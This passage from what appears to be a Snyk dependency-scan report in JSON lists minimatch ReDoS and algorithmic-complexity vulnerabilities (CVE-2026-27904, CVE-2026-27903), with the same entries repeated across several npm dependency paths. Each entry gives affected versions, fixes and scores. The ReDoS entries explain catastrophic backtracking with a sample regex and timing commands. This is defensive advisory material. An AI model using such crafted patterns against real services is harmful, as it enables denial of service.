or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", 